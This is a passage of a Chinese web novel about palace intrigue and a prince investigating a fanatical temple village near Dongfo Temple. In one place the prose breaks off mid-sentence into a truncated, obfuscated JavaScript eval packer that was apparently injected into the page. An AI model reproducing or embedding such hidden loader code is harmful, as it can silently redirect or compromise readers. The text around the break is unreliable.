周明志作为最年长者，却没有周明启那样盛气凌人，此人不会武功，但是萧妖雪看到他身上有一层淡淡的金黄色光芒笼罩，当时萧妖雪只觉得是屋外的灯光，直到多年以后她才相信了，那就是帝王之气。 周明志同样在观察这位潇湘阁的少阁主，她的年纪看起来确实不大，但是却给人一种不符合她这年纪的成熟感与野心。周明志突然想到她作为李治千金的身份，难道她就从来没有担心过这个身份会影响她吗？或者她没有担心过李府会因为她在青楼的身份而排挤她吗？ 又或者说这一切都是在她的谋划之中，那这样的周明志突然有一个想法，他很想剖开她的心看一看到底是怎样冰若磐石，才可以视这一切于身外。 “少阁主，我还有最后一个问题想问。” “殿下但说无妨。” “你今日说了许多，但是若是以后李府出事，你怎样保证全身而退？” “我自有办法，若是连这样的劫难都不能度过，那么我也就没有资格和殿下谈合作了。” 周明志离开潇湘阁走的是后门，门外早早就有马车在那候着，将人送回了宫中。 回宫后，周明志又去探望了还是昏迷不醒的圣人，直到夜深才回到自己的房中，却辗转反侧一直到了天明。 程若依作为周明志的妻子，亦是他的枕边人，自然知道自己的丈夫一夜未睡。第二日也是起了个大早，给他炖了一种提神醒脑的汤药，毕竟如今的夫君已经是君，他身上的担子容不得他躲闲。 却不料汤药炖好端进来的时候，房中已经没有周明志的身影。程若依叹了一口气自顾自的说道：“可惜了这药材。” 但是说完还是命人把，这一锅足足价值普通人生活一年的汤药随手倒了。 胡笳城小记： 远在胡笳城的众人也很快收到了通缉的消息，但是现在江秋鸿坐镇胡笳城，她自然知道这其中的缘由，是不可能将几人交出去的。 江秋鸿本想说留几人在胡笳城避避风头，却不料话还没有说出口，第二日周钦德就带着几人前来辞行。 “德王殿下，现在外面看你们看得紧，你们这会走就是往枪口上撞呀。不妨再多留些时日，待风波平静些再走？” “多谢江城主的好意了，相比于我们，京都中还有更重要的事情要我们去处理，时不待人，我们真的要走了。” “那萧姑娘和林姑娘呢，她们现在离开也挺危险的。”江秋鸿想起了这二位，她们在江秋鸿生了胡晓枭之后一直忙前忙后的，可是自从昨日之后就没有再见到她们了。 “她们昨日天还没亮就已经离开了，那会江城主还在休息，不想打扰你，就让我们今日道别的时候一起说了。” “已经走了？” “不错，段天行认识云雁，她们必须赶在段天行之前回去，让段天行说的一切都成为谎言。” “既然是德王殿下的谋划，我自然不好再多嘴了，那就不留你们了，日后诸位要是有用得上胡笳城的地方，我们定然万死不辞。” “多谢江城主，那我们就告辞了。” 说罢周钦德就带着袁清和武清往京都赶，这次可谓是日夜兼程。可是到了城门口他们却不敢在上前，按照时日算萧云雁应当已经进了京都，现在他们只能在城外等萧云雁出来给他们做易容。 可是一等三天过去了，却迟迟没有见萧云雁的身影，等来的却是一伙官兵，将几人押送进京。袁清和武清本想反抗，却被周钦德制止了，之前他们的计划也随着这一变化灰飞烟灭了。 59. 莲座佛缘 周明理离开了京都一路向东，没几日就到了东佛寺附近，出发时周明理见到萧妖雪并没有一同前来，索性派人去把本来留守京都的孙放一起抓了过来，孙放就这样毫无准备的匆匆上路。 好在周明理作为皇子，口袋里的银子是不缺，这一路过来也没有亏待了孙放，只是周明理嘱咐孙放这次出行他们要隐藏身份。东梁有钱的子弟不少，他们二人长相都有些西域特征，这一路过来还真没有遇到人对于他们身份有怀疑的。 眼见即将达到东佛寺，孙放问道：“公子，我们进了东佛寺要告诉主持你的身份吗？” “我们不进东佛寺。” “不去东佛寺？” 显然周明理的这个回答让孙放有些摸不到头脑，他们这次来调查这个玉令一事不就是出在东佛寺，不进东佛寺那要去哪里调查。 “我们直接去莲座镇。” “但是如果不知会东佛寺一声，要是公子遇上危险了，那可就不好办了。” “反正你先和我去那，其他的事情我自由安排。” 周明理这么说，孙放自然没有什么可以自说的了，又按着地图走了一个时辰，终于远远的看到了一个小村子。 但是这个村却热闹非凡，又或者说烟火气十足，远远的看去，村子各处都冒着缕缕青烟，整个村子都被烟气笼罩，仿佛是天上神仙所居的地方。 就算现在他们现在只是在一旁的山头上，顺着风的方向都可以闻到这村中的浓重香火气。 “公子，这莲座镇的香火怎么比那东佛寺还旺盛。东佛寺不会介意吗？” “莲座镇原先是东佛寺的禅师讲经的地方，后来东佛寺扩建了，也便不需要另择讲经之地，变成了香客前来东佛寺的落脚的地方。再后来，这东佛寺又扩建了，香客可以住在寺里，这莲座镇就彻底失去了作用。” “这样的话，当地村民应该回归土地，怎么还抓着这不赚钱的法子。” “之前似乎是这样的，但是最近几年不知怎么回事，这莲座镇的村民突然自己兴起了一股风气，整日求神问佛。当地官府无计可施，看在他们也行恶害人也就放任他们这样自娱自乐下去了。” “真是奇怪了，相信那些虚无缥缈的东西，竟然还能一信信这么久。”孙放显然看不上这样的行为，嫌弃的表情很快就挂到了脸上。 “孙放，你现在记住了这个莲座村的位置了吗？” “当然记住了。”孙放不明白周明理为何突然提这事，虽然他们从东佛寺过来的路有些弯弯绕绕，但是他还不至于记不住，毕竟他不是自家那个出门完全不带心记录的呆王爷。 “那就好，你现在沿着原路返回东佛寺，以我的身份去拜会主持。然后这段时间你就寻个理由住在寺里，需要你行动的时候你自然就知道了。” “那殿下呢？”听到周明理这安排，吓得孙放连公子都不叫了。 “我伪装一下，我要亲自进这村中探一探。他们这样有信仰的人也最容易被信仰操控，我想应该用不了多久就可以发现蛛丝马迹。” “不行，这太危险了。”孙放怎么放心让周明理一个人行动，眼看着是要铁了心跟着进去。 “诶，你按我说的去做，萧妖雪已经在村子里安排了内线，我不会有事的。”周明理为了让孙放离开，便随口拉出了萧妖雪来挡箭。 “萧姑娘？那好吧……”虽然看得出孙放还是有些不放心，但是听到萧妖雪这个名字的时候，显然已经嘴上已经没有那么紧了。 “千万要记住没有我的信号不能离开东佛寺，还有千万不要暴露自己的身份。” 周明理不放心孙放，担心他又暗中摸过来坏了大事，又一再着重交代了一番。 “知道了公子，我不会莽撞行事的，你也注意安全。” 听到孙放的一再保证周明理才放人离开，而自己顺着一旁曲曲折折的山路向着莲座镇而去。 还没有进村子，这香火已经薰得人睁不开眼睛了。正当周明理站在路边那整理被烟熏的泛红的眼睛时，一旁路过了一个大姐，大姐看到周明理是陌生面孔，突然就像捡到宝一样的冲了过来，抓着周明理就问道：“小公子，是来莲座镇上香的吧，一看你就是没有经历过这么大的香火。这眼睛不能揉，来来来我给你吹吹。” 面对大姐这番热情，周明理有些招架不住，急忙后退了几步。 看着避开自己的周明理，大姐好像完全没有受到他拒绝的影响，还是满脸笑意的说道：“诶呀，小公子别那么害羞。你的眼睛可千万别揉了，你不喜大姐我帮你吹，你去那边的水缸里洗洗。” 这大姐说让周明理一时之间有一种错觉，他来的不是莲座镇，他这是去了潇湘阁一般。 但是眼睛着实难受，周明理最后还是选择一旁的水缸，捧了两捧水，这眼睛可算是能睁开了。 “看吧，我就说这样有用。”眼睛能睁开后，他才发现这大姐还跟着她呢。 这大姐看起来穿得不过是粗布麻衣，但是若是细看她的首饰、手镯和戒指那可都是纯金的，只是可能因为长期处于这样香灰漫天的环境中有些泛灰。若是再仔细打量一下就会发现，她表面衣服虽然是粗布麻衣，但是里面的却是上好的丝绸，想必要不少银子，这可不是普通人家能穿得起的。 看着周明理似乎对她还在这有些疑惑，大姐就自顾自的说了起来：“公子是来上香的吧，村里人都叫我王大姐，隶属王氏仙居。你现在来呀，刚好赶上了我们莲座仙台的祭祀，那许愿可灵了。只是我们莲座仙台里面这仙路要是没有当地人领着很容易迷路的。公子若是为了这祭祀而来，我就毛遂自荐了，给公子引路，公子也不必担心我要你钱财，我们仙家人不贪图这些身外之物，若是有那也都是为了神佛塑金身，才不得已而为之。” 这话听得周明理是脑袋一团浆糊，这里不是莲座镇吗？怎么就变成仙台？还有什么仙居什么仙路，这群人是疯了吧。 但是这样对于宗教的痴狂却是很容易被有心之人利用，玉令的风声就是从这疯疯癫癫的莲座镇传出来的，如此看来也完全符合周明理的推断。 眼前既然有这送上门的向导，周明理自然是没有拒绝的理由。随手从荷包中掏出一张银票递给了王大嘴，说道：“在下萧逍遥，王大……王施主，这点香火就请你笑纳了，我确实这第一次到这莲座……仙台，若不是你或许我这眼睛都要废在这，还别说进去祭拜许愿了。” 也不知道这王大姐是收到这银票高兴的还是说听到了周明理叫她施主高兴了，嘴角都快弯到天上去了，但是还是光冕堂皇的说道：“萧施主呀，您这言重了，你这一片虔诚之心我一定给你带到圣女面前，让她把你的愿望早早的递送给佛祖。” “那便有劳王施主了。” 说罢王大姐就引着周明理进了镇子，这镇子却是不小，路也是弯弯绕绕的但是却是不至于说进来就找不到出去的路了。 但是有这么一个当地人带着，自然是好了不少了。 王大姐将周明理带到了一个空着院子门前说道：“萧施主呀，我们这仙台里没有客栈，来的客人都是都是住我们家里，这里就是我家，恰巧空了房间，施主便在我家落脚吧。” 周明理对于这莲座镇内的存在更是迷惑了，这一路走来周明理也看见不少来祭拜的香客，难道说这些人都是住在当地人屋内，这么大一个镇子竟然因为这宗教的影响连一个客栈都没有，这可真是太奇怪了。 但是好在王大姐给他安排的这个房间，确实不错。而周明理刚打算躺下休息休息，门就被扣响了。 开了门外面站的正是刚刚和周明理唠了一路的王大姐，但是她现在身上服饰已经与刚刚已经完全不同，她现在一身尼姑装扮，而之前那些虽然被隐藏得很好的金饰，还有丝绸的衣服已经完全没有踪影，现在看真是从里到外都一个虔诚的香火客。 “王施主是有什么事吗？” “萧施主，你不是来祭祀的吗，这祭祀马上就开始，你不知道？” 这事周明理还真不知道，来之前他找潇湘阁买了不少莲座镇的消息，但是却没有一条说过今天要祭祀，不过倒是有一条说这莲座镇的祭祀费擦会给你的随意，完全就是看那住持的心情。所以像今天这样突然有祭祀的活动也正常。 周明理急忙道：“我这几日日夜兼程，都过的有些分不清南北了，还是王施主提醒，不然还真要错过这祭祀。还劳烦王施主稍等片刻，我收拾一番就来。” “好好好，萧施主可要快些，还有记住那些钱财可千万都别带了，若是佛祖知道会不高兴的。” 王大姐还特意又嘱咐了周明理一次，周明理出来，她也是绕着人转了三圈确定他身上没有什么金银了，这才带着周明理往镇子中心去。 他们到的时候，这阵子中心已经里三层外三层站满了人，王大姐却不顾这人群，拉着周明理一个劲往里挤，中间人群中也难免的会有叫骂声，但是都被王大姐丝毫不顾嘴上积德骂了回去。 周明理也从王大姐的叫骂声中听出了一些门道，这莲座镇中的家族又或者说他们所说的仙居是有高低贵贱之分，这王大姐所在的王氏仙居就是这莲座镇最顶端的存在，所以他们不论什么时候都是享受最好的待遇。 就这样一路挤一路骂，王大姐拉着周明理来到这人群的最前面，周明理也总算是看清了这祭台的样貌。 这祭台之上放了一尊佛像，但是佛像没有露出真身，而是用一块红布紧紧的盖着，一旁有一个身着袈裟的老和尚带着一群小和尚对着那尊佛像嘴里一直念念有词。另一边香炉中不知道是燃了多少香，已经不能用青烟袅袅来形容了，要周明理说这简直是浓烟滚滚。 就在这时一阵清风掠过，将浓烟吹向了广场的一侧，顿时那边的人群中就传来了阵阵咳嗽声。而周明理的耳边却响起了不耐烦的声音：“一群没钱的穷鬼，让他们闻点香灰那是佛祖仁慈，还不懂感恩，就他们咳这几口，完全是浪费。” 就在周明理打算回头看看身旁王大姐的脸色的时候，他的视线路过那尊佛像的时候，瞟到被风微微吹起的红布，下面是一尊佛像的脚部，但是中间还放着一块绿色的玉牌，一个想法顿时就从周明理脑海中闪过——玉令。 此时周明理也顾不上再问这莲座村的等级制度了，就扯了扯王大姐衣袖问道：“王施主，这供着的是哪尊佛像？” “诶萧施主，这可不能问，这每次请出来的佛都不一样，看见盖着的红布了吗，这就是佛祖不想要让人知道他的身份，担心受了恩惠的人总是想着回谢。” “是这样呀，那……”周明理刚想再问问那玉牌是怎么回事，这台上的一众僧人突然开始敲打起木鱼，念经的声音也大了起来，不像刚刚那样只是嗡嗡的萦绕在嘴边，而是有一种铺天盖地袭面而来的感觉。 而身旁的人在听到这经文后突然一起跪了下去，只剩周明理一个人有些错愕的慢了半拍的蹲了下去。 但是他并没有蹲多久，就被身旁的王大姐拉了一把，嘴里有些生气的说道：“你干什么，快跪下。” 说着不言分说的就把周明理往地下拉。周明理作为皇子这辈子只跪过圣人和他娘，这会被突然一拉又多了一尊不明所以的佛。 而且王大姐似乎是在担心周明理又闹 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这话说完周明理本以为这台下会乱做一锅粥，但是实际上却是安静无声，直到一旁的王大姐率先开口道：“王普陀代王氏仙台三有五号弟子及萧姓施主，敬奉神明。” 王大姐的话说完一会，周明理才反应过来，这王普陀应该就是王大姐在这莲座村的名字，至于那萧姓施主说的就是自己。 王大姐说完之后，身旁不远处也传来一个声音：“张文殊代张氏仙台二有一号弟子，敬奉神明。” 紧接着就是其他各个家族的人开始报人数，但是规模和底气显然都没有张氏和王氏的足。这一片的人似乎是都报了名，台上的住持点了点头，随后便是刚刚被香灰呛到的那片人群发出一阵轰乱。 周明理当下紧张了起来，以为他们是要发动暴乱，却半晌才发现他们都是只动嘴不动手，再仔细一听他们似乎就如同周明理之前以为那样，开始报自己的名字。只是因为前前后后才听起来这样乱哄哄的。 终于那边的安静了下来，台上的老和尚才又开口道：“郑陆尘何在？” 台下无人应答，这老和尚看起来也不意外，转身对着佛像说道：“还望佛祖宽恕，郑大人因为公务缠身不能来此祭奠，之后他定然会会好生思过的。” 听到这话周明理心中只有一个词来形容这老和尚虚伪。 这郑陆尘正是这莲座阵的镇长，之前在京都做过一段时间的官，后来自己申请调任来了这莲座镇。 萧云雁小记： 萧云雁和林梦回到了之前的出游的队伍的时候，正赶上队伍往回走，因为之前也没有在队伍中露过面，那两个伪装成她们人也没有露馅，就这样跟着人马又如同出京一样方便的回到了京都。 但是萧云雁回到京都后，却并没按照计划那样顺利，之前因为保护周钦德自己已经在段天行面前露过面，就算有这一整队人的掩护，恐怕也很难打消将军阁的怀疑，之后就算将军阁没有软禁自己，要是还要出城什么的就没那么容易了。 果然第二天将军阁的人就找上了说邀请她过去坐坐，萧云雁来到了将军阁果不其然看到了坐在上位的单骁。 以及跪在一旁的段天行，此时段天行表面上看起来没有什么伤，但是萧云雁感受到他整个人的气息紊乱，跪在地上整个人都是蔫的也不知道将军阁用了什么方法，让这样一个人萎靡成这样。 单骁看着进来萧云雁，本来看着段天行冰冷的目光在与萧云雁对视的一瞬间恢复了笑意。 “萧女侠，这次多亏了你陪林相家的千金出去玩，我都不知道多久没有见过林相这么开心了。你说说吧，我们该如何赏赐你呀？” “赏赐不敢要，这不过是云雁的任务罢了。” “不要？你可想好了过了这山可就没有这店了？” “多谢单将军每美意，这份赏赐云雁，心领了。” “好！那既然赏赐不要，我们就来谈谈你的问题吧。” 此话一出，单骁眼中的笑意顿时消失的无影无踪，与刚刚看向段天行的眼神一模一样，但是萧云雁却没有像段天行那样被吓得跪地求饶，而是以同样眼神回敬回去。 “单将军，但是说说云雁有什么错？” 看着萧云雁这样气势，单骁倒是露出了几分疑惑。他征战沙场这么多年，身上的杀气非常重，能在自己发难的时候还这样临危不惧的人他还真没见过几个。 “段天行说他在胡笳城见到了你？你还阻挠了他的计划，可有此事？” “单将军宁愿相信这人，不相信林相？” “哈哈哈哈哈，不错我就是不相信他，来人把这没用的废物给我拉下去关起来。” 说罢，段天行就像被拖死狗一样拖了下去，连一丝挣扎都没有。 “我知道单将军虽然嘴上这么说，但是心里对于云雁已经有了隔阂，这是云雁不想看到的，所以云雁打算送将军一个消息，早日解去将军心头之忧。” “哦，潇湘阁送的消息，本将军倒是要好好听听。”单骁显然没料到，萧云雁还有这么一出，这让他对段天行的信任又丧失了不少。 “将军派几个人去这里搜查一番，会有将军想要的人。” 说着萧云雁递过去一张地图，单骁看着地图上圈出的红点眉头微皱，似乎是在斟酌萧云雁这话中的真假。 “那不如就劳烦萧女侠去一趟？” “将军，我去着实不合适，若是真让人溜了这不是徒增我和将军之间的隔阂吗？” “哈哈哈哈哈，说得好。你这几日辛苦了回去好生休息吧。” “多谢将军体谅。” 60. 莲座佛缘2 之后又是这个老住持在台上一段絮絮叨叨念叨，终于是进入了这场祭祀的主题，台下众人可以上台许愿祈福。 为首的就是王家的人，王家三十多号人，这许愿环节就上去了十多个，周明理在台下听着他们的愿望，突然觉得这挺荒谬。 一个中年妇女上台祈求道：“菩萨保佑，我儿疾病快消，求菩萨降下仙药救我儿一命。” 听着这许愿的前半段，周明理还觉得情有可原，毕竟不少人到了寺庙中都是奔着求健康去的，只是这后半段听起来就颇为荒谬了。 求菩萨降下仙药？周明理作为皇子对于这些神呀佛呀的事情都是再清楚不过了，这大多数都是人们的心理安慰罢了，想要降下仙药这种事还不如去求求大夫呢。 但是在看周围的人似乎没有丝毫觉得这事情不对劲，反倒有人眼含热泪直说这个妇人不容易，小孩子年纪轻轻就患了重病，甚至还有人开始为这位妇人祈求。 要说这妇人的祈愿还有可以让人接受的地方，那么后面上去的人的愿望就显得更加离谱。 同样还是王家的人，不过那人的衣服看起来就破旧一些，还有不少补丁。这人所求在周明理看来颇为荒谬，他求菩萨给他地里的菜苗多浇点水，原因却是他周围的没有水井，而自己又不愿意出钱出力打一口井。 在之后如同这人的祈愿就更多了，什么求丢失的首饰可以找回，什么求米缸中米虫可以消失。 周明理心中想到这不过都是些普通人都力所能及的事情，他们怎么全部把希望寄托给了佛祖，难道说这个莲座镇的佛祖都是专管杂事的？ 而很快一旁的王大姐就推了推周明理说道：“萧施主，到你了。” “我？” 周明理有些惊讶，他以为自己本来就是观礼的，怎么还有机会上台。 “是呀，你可是我们王家的贵客，你当然要上台，放心咱们莲座镇的菩萨很灵的，必定保你心想事成。”说着王大姐就把周明理往台上推。 周明理来到了那尊佛像前，这佛像看起来不过半人高，而现在周明理面临的就是要对着这不知道是什么东西跪下去磕几个响头，还有说出一个愿望。 旁边的老和尚看着周明理上来就对着佛像看了好半天，丝毫没有要跪的意思，心中有些恼火。 “施主，不得无礼，后面还有不少人等着呢。” 迫于无奈周明理只好跪拜，头磕完了。老和尚问道：“施主你的愿望是什么？你要大声说出来让菩萨听到。” 周明理只觉得太阳穴突突的，他刚刚什么愿都没许，这还要硬编一个，真是会为难人的。 “我……我希望我的父亲事事顺心。” “施主，你这愿望有些无理了吧，佛祖不是为了你一个人的，你许愿事事顺心，是想要事事都麻烦佛祖吗？我谅你是外乡人不懂我们的规矩，之后为你祷告赎罪，现在再给你一个机会，好好想想你的愿望。” 这老和尚说得周明理心中很不是滋味，这就算是皇家祭祖说得也不过是这些，圣人祈愿天下太平，风调雨顺。后宫妃嫔求的是圣人龙体无恙，皇子皇孙求的家事兴旺，臣子求的是国家千秋万代。 怎么到这里这些愿望还成了为难佛祖，这样佛祖听起来好像不是那么厉害吧。 但是已经被架在这里了，这不说恐怕是要被打下。 “我希望我父亲的病可以快些好。” “是呀就这样，这多具体。施主的愿望一定可以实现。”说罢比了一个请的手势，示意周明理可以离开了。 就在周明理往回走的时候，他感受到了从巷子里投来的目光，看过去果然与那巷子里的人目光对上了。 郑陆尘？这人不正是潇湘阁给他的案卷中的郑陆尘吗？他不是到了吗？为何刚刚那老和尚要这样说？还是说他自己不想暴露他已经到场？ 许多问题就在这一眼对视的时候从周明理脑海中闪过。 但是那巷子中的注意到周明理投来的目光，很快就缩回黑暗中。 而周明理也是脚步不停走回了王大姐身边，王大姐看着站定周明理也不顾后面上台张家人，就开口说道：“萧施主，你不要在意呀，这老和尚年纪大了，有些脾气。别把他的话放心上，只要你诚心诚意，你的愿望菩萨一定会看到的。” “王施主，我还正想问，这莲座镇的菩萨真的这么灵吗？” “这菩萨真的灵，就像刚刚那位求仙药的，我半年前也求过。当时我的腿摔折了，我就求菩萨赐我仙药。别说第二天这门在还真的放了一张药方，我让家里人拿着去配了药回来，没用几次，这腿还真好了。” “这确实是奇事。” 周明理现在可以确定，这莲座镇的菩萨显灵背后一定是有人在暗中操控，要真是菩萨那肯定托梦来的，在门下塞纸条这种事情，哪个菩萨愿意干。 这个许愿仪式非常漫长，但是好在王氏最先许愿，这家人许完之后根本没有给后面的人烘托气氛，直接离开了现场。 王大姐也是看在周明理第一次来，耐着性子陪他多站了一会，后面还是不想再等来，催着他回去吃饭了。 饭后，周明理拒绝了王大姐的好意，自己去村里散步，眼见天已经完全黑下了，周明理才意识到好像王大姐说的有些道理，这个村子确实容易迷路，比如他现在正身处白天祭祀的广场，但是他却一点都分辨不出来，王家应该走哪条巷子过去，正当周明理有些窘迫的时候，身后传来了一个声音：“施主，是迷路吧？” 回头看去是郑陆尘挑着盏灯笼，牵了匹老马，站在周明理身后。 “你是？” 周明理虽然知道郑陆尘的身份，但是他现在自然还不能暴露，所以还是礼貌的问道。 “在下莲座镇镇长郑陆尘。若是施主不嫌弃，我可以陪施主走一段。” 也不知这郑陆尘是不是看出了周明理的身份，还是恭恭敬敬对他行了一个礼。 “那自然好呀，那便有劳郑大人引路了。” “郑大人，这个称呼已经许久没有听过了。施主请。” 二人就这样有一句没一句的走了一路。 周明理这才知道，这郑陆尘竟然是莲座镇本地人，他的父亲是上一任镇长，他之所以自请来这莲座镇，是因为他父亲突然过世，镇长之位空悬了两月有余。而他自己觉得自己在京都混不出什么，所以才申请回了老家。 但是周明理却隐隐觉得这之中恐怕还有别的原因，不过以一个香火客的身份他是绝对问不出来的。 不一会他们二人就到了一条周明理熟悉的巷子，这正是王氏所在那条巷子。也就是这时郑陆尘突然停步不前，说道：“既然施主知道这路了，那么下官就不多送了。” “郑大人若是无事不妨喝杯茶再走？”周明理本来还想再问点关于这镇子的事情，毕竟这郑陆尘是他今日见过最正常的人。 却不料郑陆尘却拒绝道：“施主，下官还有事，就不陪施主了。”说着转身就要走。 说时迟那时快，这王氏的大门就这会打开了，王大姐探出头来，就看到了提着灯笼郑陆尘以及他身边的周明理。王大姐像是看到周明理踩到什么脏东西一样，冲过就把他拉到了边，对着郑陆成厌恶的说道：“你这个脏东西，离我们香客远一点，大晚上不在房子里好好呆着，出来扮鬼吓唬谁呢。” 说着就对着郑陆尘踢过去，郑陆尘急忙躲开，嘴里还一直说着抱歉，然后快速的牵着马离开了。 “萧施主，你没事吧。快快快我给你用松柏枝去去晦气。” 还不等周明理反应身上就被王大姐手中的松柏枝拍了一顿。 进了王宅，眼看王大姐要出言道别，周明理急忙道：“王施主，现在天色尚早，不妨咱们坐下聊聊？” 虽然此时月已近中天，但是周明理这样模样姣好的后生邀请月下畅谈，王大姐哪能拒绝的了，当下就说道：“不错不错天色尚早，萧施主稍坐片刻，我去烫壶茶。” 周明理本来也就是只想和她聊聊这郑陆尘的事情，可不想喝什么茶，急忙拉住大姐道：“茶水就不必了，我这人晚上喝茶睡不着。” 王大姐心想刚刚真的是我听错了，他好像还邀请那脏东西喝茶呢。 “嘿嘿，那好吧。萧施主想聊点什么。” “我就是比较好奇，你们这镇长，似乎你们对他都有些厌烦？” 王大姐心想，原来是聊别的男人。不过好在是嚼舌根的环节，她倒是乐意得很。 “那脏东西呀，不是我说，萧施主你才来我们这莲座镇可能对我们这情况不太了解。” “那还请王施主细说。”周明理有些后悔没有要水了。 “那家伙不信佛，你说是不是晦气。” “莲座镇竟然还有这样人。” “是呀，你看看他爹就在的时候就不错，潜心信佛，还帮着佛做事情，当时我们这些父老乡亲可喜欢了。没想到这老头走了回来个小子，竟然是这样货色。我看他就是在京都脏钱收多了，被那些污秽蒙了眼。” “可是据我所知，他在京都也不是什么大官呀？”周明理记得潇湘阁给的案卷里，这郑陆尘可谓是清的不能再清了，和贪没有半点关系。 “哟，萧施主也是从京都来的，但一看你就不会是做官的人，你不知道呀，在京都做官的比那粪坑还脏。大官是表面好看，一肚子的粪，这小官那就恶心人了，从头到脚，从里到外都是粪。” 周明理有些不想继续这个话题了，他知道像莲座镇这些地方的人难免有些偏激，但是他没想到竟然能这么偏激，这都是些什么想法。 “呵呵，诶王施主我记得你今天说咱这莲座镇要来个圣女？这是怎么回事？” “圣女呀，之前不是天降了那玉令，我们都是些没有文化的人。也不知道这玩意能有什么用，刚好有一个香客说这玉令应该是肃相阁的东西，这地方我们也不知道，那个香客说这是天机之处，不是人人都知道。这玉令是他们不小心没拿稳掉下来的，过两天就会派他们在人间的圣女来给它取回去。还让我们一定要保护好这玉令。” 肃相阁？天机？圣女？周明理觉得这事情真是越问越荒唐，他真的想让孙放过来劈开他们的脑袋，看看里面到底有几斤水。 之后二人就是一些佛教的闲聊。周明理在西域长大，对于佛教这块自然不陌生，他本以为莲座镇这样一个毗邻东佛寺的村子，村民有这样敬佛，应当也知道挺多。但是聊起来才发现，他们可谓是知之甚少，好似知道的东西比他这个门外汉还少，难怪能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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王大姐好像被提醒了一样，一拍手说道：“是呀，不是萧施主提醒我都快忘了。走走一起去看看王麻子。” 昨天这么多人许愿，周明理说选这人并非空穴来风。 果然众人到了王麻子家，就看见王麻子跪在田埂上，边拜边说，感念菩萨感念菩萨。 周明理心想到果然，昨日那马背上的水桶是有用处的。 王家的众人看到这一幕也是急忙开始跪拜，但显然菩萨的神通也是有限的，昨日的愿望，除了这两人就还有一个平头老百姓的实现了，同样也是一张药方。 周钦德小记： 周钦德、袁清被将军阁一网打尽以后就被直接关入了刑案司的地牢，至于武清则因为不是官身被单独压往了别处。 这个消息也很快经由将军阁传到萧云雁的耳中，紧接着单骁就将萧云单独传到了府上。 这次萧云雁看得出来单骁眼中的笑容是真心的。 “萧女侠，你这次可是立了大功了了，这伙叛徒我们是一个不落的全都抓住了。想必招供也用不了多久。” “恭喜单将军，能为将军解忧是云雁的荣幸。” “哈哈哈，不错不错。那对于他们几人，你之后怎么想？” “云雁觉得，此时涉及德王此事还是当朝议事比较好。” “不错不错，不过云雁你有件事做得差强人意。” 这话一出，萧云雁的心噔的一下空了一拍，单骁还真如人所说绵里藏针，防不胜防。 “云雁有些不明白，还望将军明言。” “据你们少阁主说，你与德王和那小子叫什么……哦，对武清，你们早就认识，关系还不错。但是今天却出卖了他们，他们好像还完全不知情。” “天下事为先，这些儿女私情怎么上的了台面。” “但是本将军担心，你日会会不会也这样对我将军阁？” 原来单骁是在担心这个，萧云雁不觉松了一口气。 “将军多虑了，将军既然认识我们少阁主想必也知道，就算是少阁主与太子殿下也不过是利益交换的合作，这其中又怎么能说背叛呢？” “但是你知道本将军生性多疑，既然你说你们是做交易，不妨也和本将军做一笔？” 双方在此时都是各怀心思，萧云雁摸不清单骁要干嘛，但是他这语气，谋划绝对不小。 “将军不妨一说？” “我想让你做阁主。” “！”萧云雁大惊，他这意思是，他要做…… 萧云雁已经来不及说什么了，此时就是人性和演技的较量，她噗通一声跪在地上。闷着头说道：“将军，云雁不知道是哪里做的不如将军心意，云雁之后定然改正。少阁主与云雁师出同门，以往待云雁不薄，她是师傅选中的弟子，云雁断然不能出这样的事情。” “哦？是这样的吗？但是我听你们这个少阁主说，可是不怎么看得上你呀。此事你已经问了，我已经说出口，就没有回头路，就算你愿意你也要陪着本将军一条路走到黑了。” 单骁走到萧云雁身边，亲自蹲下身去，将她扶了起来。看着萧云雁还带着惊惧面庞，拍了拍她的肩膀又说道：“回去休息吧，以后可要替我好好谋划谋划。” 61. 莲座佛缘3 在这莲座镇的时间似乎过得飞快，转眼间便到了下晚，今日莲座镇的众人没有像往日一样生火做饭，而是在听到一阵马蹄声后，便簇拥赶往了村口。 周明理却在房间中一直未出，王大姐敲了好几次门，屋内却没有一声应答，最后王大姐在门口嘀咕了几句，也便抛下这位萧施主赶去村口了。 直到周围所有的声音聚集到了村口，周明理的房门才吱呀呀的推开。 走到了大街上可谓是万人空巷，一个人都看不见。 周明理根据之前王大姐和郑陆尘描述的祠堂的位置找了过去，虽然走了几次错路，但是好在这一路无人，自然这样丢人事情也就只有他自己知道了。 莲座镇的祠堂修的颇为气派，红墙青瓦，里面是终年不断的烟火，让这彩绘的建筑蒙上了一层淡淡的灰蒙。 虽然此时几乎整个莲座镇的人都去了村口，去欢迎那所谓的圣女，但是祠堂门口还是出现了极个别的人，这两个人手上拿了木棍，百无聊赖的守在祠堂门口。 “你说我俩怎么就这么倒霉，这关键的日子要在这守祠堂。” “是呀，听说这圣女可是美得很，这一路过来我们这镇子路又窄，难免有机会磕碰一下，那可真是沾了佛光了。” “我看就是那王家的搞的鬼，之前就是因为我喝了点酒，说了那老太婆上了年纪，估计就被她听见了，这种时候，不就故意给我使绊子。” “你别说，那老家伙还真是，我有一次也是嘴上没把住，说了一句不中听的，她就在我身后听了完全，之后那些好事情我就一件都没有捞到。” 周明理听着这两个人的对话，心中暗想这莲座镇是横看竖看都没有半分佛门的气节。这两人更是，甚至对于他们的圣女都是这副态度，真不知道是怎么用佛光包裹住他们这烂透了的底子的。 而就在这时，周明理听到原本远在村口的奏乐声不知不觉间已经靠近。现在他必须把这两人引开，不然等着那些人来了，也没机会进祠堂了。 周明理退到了更远一些的墙角，吹了一声口哨，不一会，就一匹高头大马跑了过来，马在祠堂门口徘徊了几圈，那两个人显然也注意到了，但是都没有想上前掺和的意思。 周明理也趁着他们的注意被马匹吸引的时候，靠近了这祠堂，这祠堂中的香火可能因为今天要迎接圣女，呛得周明理难过，眼见二人都没有打算离开去驱赶那匹马的意思。 周明理只好心一横，又是一声口哨，但是离那两人太近，他们很快就听到。 好在马的反应比人快，在那两人看来，这马就像疯了一样往祠堂里面冲，顾不上刚刚听见的口哨声，两个合力上前去拦马，还是被结结实实踹了好几脚。 